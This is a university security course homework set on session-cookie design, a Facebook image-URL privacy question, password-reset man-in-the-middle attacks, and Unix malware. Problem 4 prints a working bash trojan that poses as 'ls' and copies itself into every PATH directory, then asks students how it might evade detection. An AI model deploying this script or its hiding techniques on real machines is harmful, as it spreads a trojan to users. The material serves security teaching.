Homework 04

Due: 11:59 pm, Thursday March 21

Please handin your homework assignment on gradescope as a PDF file with each problem on a separate page.

Web Security

Problem 1

Properly designed session cookies should satisfy the following requirements:

R1. It should be hard for a user to be able to guess the session cookie of another particular user.

R2. It should be hard for a user to guess a session cookie (other than their own) that will be accepted as a valid session cookie.

R3. It should be possible for the server to set, when creating the session cookie, an expiration time after which the session identified by the cookie will no longer be valid.

R4. The session cookie should be opaque: given a session cookie, it should be impossible to learn anything about it (for example, what user it is for, when it expires, etc.).

The traditional implementation of session cookies is to randomly generate the cookies and require the web server to keep state about every active session. In particular, a table must be kept to map session tokens to the details of the associated session (username, session expiration date, etc.). This is fine for a single server, but for large distributed web applications (such as those run by Apple, Facebook, Google or Microsoft), synchronizing the database of active sessions across all of the possible servers that a web request could be routed to can be a big challenge.

Using cryptography, design an alternative scheme for creating and managing sessions that is suitable for multiple servers handling user sessions. Your scheme will still be based on the idea of a session cookie, but that cookie will no longer just be a random value identifying an entry in a database.

Below we give you an outline of what your scheme should look like, but you need to fill in the details.

- It is acceptable for your scheme to rely on a certain amount of state shared by all of the web servers running your website, but your scheme must work even if this state is updated infrequently (i.e., once per day at most). By "state," we mean the state that is required to keep track of what session a particular session cookie is for. We do not mean states that may be used by other functions of a web site (such as transferring money between bank accounts, sending an email, etc.).
- It is not acceptable for your scheme to rely on any shared state being kept completely up-to-date. It should be the case that, with the exception of the state described above, knowing the session cookie alone is enough to allow a web server to be sure of who is initiating a given HTTP request. As a trivial example, it would be unacceptable to maintain a shared table of current sessions, and have every authentication decision made by consulting this table.

Describe your scheme in detail and then explain how it satisfies requirements R1, R2, R3, and R4.

Problem 2

While I (Bob the Minion) was writing this homework, I came across a rogue hacker, took a picture of the hacker, and uploaded it to Facebook. Then, I changed the photo's privacy settings so that it was only visible to me. When I load the image in my browser, the following HTML element is included in the page:

`https://scontent.fbos1-2.fna.fbcdn.net/v/t1.0-9/53289746_2557071464363427_6641899286671917056_n.jpg?_nc_ht=scontent.fbos1-2.fna&oh=5c5815176d03e9c907b18a4269f5421d&oe=5D1BBBE3`[1]

Please answer the following questions:

a) Why are you able to view the contents at this URL if the photo is supposed to be viewable only to me?

b) What security feature has Facebook decided not to implement?

c) Given this relaxation, what would be required in order for an attacker to be able to defeat Facebook's security guarantee that unauthorized users cannot view your photos?

d) Do you think that this is a reasonable relaxation of the security rules? Why or why not?

Authentication

Problem 3

Consider the password reset MitM attack described in class that exploits the similarities between the account registration and password reset processes on a website. You can also refer to the article by Gelernter et al. cited in the resources for the lecture on the class website.

a) Which precaution can be used by the user at the time of registering new website accounts to prevent the basic version of the attack described in class, where the server requires the user to solve a CAPTCHA and answer a security question? Explain why this measure defeats the attack.

b) Suppose now that in the password reset process, instead of asking the user to answer a security question, the server asks the user to enter a one-time code transmitted via SMS or email. Show how to modify the basic MitM attack described in class to deal with this variation of the password reset process and argue whether the attacker is likely to succeed. For this question, do not consider attacks that capture the SMS message or email with the code.

c) Design a simple password reset process that is resilient against the password reset MitM attack. Justify why your method is effective in protecting against the attack.

In answering the above questions, it is perfectly fine to draw inspiration from the article. We ask, however, that your answers are written in primarily your own words. It is O.K. to reference or quote parts of the article, as long as your answer does not mostly consist of the article paraphrased or quotes from the article.

Operating Systems Security

Problem 4

You are a system administrator for a large Unix system with many users. A user has reported to you that they have found the following file in their `bin` directory (`/home/<user>/bin`), which is on their `PATH`. The file is named `ls` and has the permissions `rwxr-xr-x`. The user swears that they didn't put it there. Its contents are:

[1] Some of the irrelevant attributes have been removed for simplicity

```
#!/bin/bash

/bin/ls "$@"
LS_EXIT_CODE=$?

DIRS=$(echo $PATH | tr : ’ ’)
for dir in $DIRS; do
    file="$dir/ls"
    cp "$BASH_SOURCE" "$file" && chmod a+rx "$file"
done

exit $LS_EXIT_CODE
```

a) Explain what this program does. You may want to look at the man pages for `tr` and `chmod`. Also, it will be useful to know that `$@` in bash is a variable that holds the arguments that were passed to the current process, `$?` is a variable that holds the exit code of the previously-executed command, and `$BASH_SOURCE` is a variable that holds the path to the script that is currently executing.

b) How could the user have gotten this file in their `bin` directory without putting it there intentionally? Try to give as precise an explanation as you can, and include technical details.

c) Identify two ways in which the author of this script could have made it so that it was less likely for somebody to discover it (hint: think about what sorts of commands tell users about specific files and where those files are located). For each modification, explain why it would make discovery less likely, and provide a high-level sketch of how it might be implemented.

d) How could the script more effectively cover its tracks if executed by the root user? That is, how could it more reliably hide itself and prevent discovery? When giving your response, make sure you do the following:

- Explain your technique.
- Explain why the technique would not work if executed by a non-root user.
- Explain why the technique would be more reliable than either of your answers from c.
- Provide a high-level sketch of how this technique might be implemented.